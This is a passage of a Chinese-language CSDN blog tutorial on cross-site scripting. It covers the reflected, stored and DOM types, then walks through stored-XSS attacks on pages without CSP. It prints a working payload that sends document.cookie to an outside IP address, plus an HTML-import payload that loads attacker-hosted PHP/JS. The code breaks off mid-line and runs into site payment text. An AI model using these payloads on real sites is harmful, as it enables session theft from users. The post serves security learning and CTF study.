XSS 漏洞总结

本文详细介绍了XSS漏洞,包括XSS的简述、分类(反射型、存储型和DOM型)以及基于存储型的XSS攻击,分别探讨了无CSP保护和有CSP保护下的攻击手段。此外,还分享了XSS绕过技巧和具体实例,如利用meta标签、script脚本跳转和prefetch预加载绕过CSP。文章以htcf guestbook和0ctf simplexss为例,展示了实际的XSS攻击场景。
摘要由CSDN通过智能技术生成

0x00 引子

xss一直以来接触最少的类型,现在终于有幸将其总结一下了·····,xss漏洞是目前最为常见的漏洞类型之一,其触发脚本经常与js代码有关,所以要想掌握好xss必须要有深厚的js编码功底。本篇内容是我学习xss的总结,会结合着代码编写与实验,对xss进行系统的讲解,以便我更好的认识xss。
本篇内容将会分为几个章节xss简述、基于存储型xss攻击、xss绕过

0x01 XSS概述

0x0 简述

XSS即跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生

关键点:
目标网站的目标用户

  • 浏览器
  • 不被预期的: 攻击者在输入时提交了可控的脚本内容,然后在输出时被浏览器解析执行
  • “跨站脚本”重点是脚本:XSS在攻击时会嵌入一段远程的第三方域上的脚本资源。

总之,要想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解释执行

0x1 分类

  • 反射型
    又是非持久性的,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
    通常,黑客先将恶意代码写好,然后将连接发给受害者,受害者只要点击就会出现攻击现象
  • 存储型
    持久性的,会把用户输入的数据存储到数据库中。例如,留言板等。只要用户进入页面代码将会执行
  • DOM型
    DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应

0x02 基于存储型的XSS攻击

上面说了这么多还是不知道xss攻击应该运用在哪些场景下,下面我们把XSS分为有CSP保护和无CSP保护两个场景来实现。

0x1 无CSP保护下的XSS

1.直接嵌入型

当过滤的东西较少时,可以优先考虑这个。这种xss触发方式比较直接,直接嵌入能够xss的js代码,下面看一个例子。

admin访问页面

<!DOCTYPE html>
<html>
<head>
    <title>xss</title>
</head>
<body>
<script>
var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[0].appendChild(img);  
</script>
</body>
</html>

这里写图片描述

js代码将图片嵌入head中一起解析,左后将获取的cookie发送至xss平台

2.import导入型

经常用于过滤比较严格的情况,经过实验发现link的属性rel值为import是会将资源请求回来并一同解析,注意必须是完整的资源例如HTML、PHP、JS等。请求的资源必须要设置允许跨域加载的响应头。

admin访问页面

<!-- 无csp 远程包含js文件 -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>无csp/远程包含js文件/import</title>
</head>
<body>
<link rel=import href=http://yzbbd666.com/2.php>
</body>
</html>

下面是http://yzbbd666.com/2.php文件内容注意填写Access-Control-Allow-Origin

<?php
  header("Access-Control-Allow-Origin: *");
echo 1;
?>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/flag.php",
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值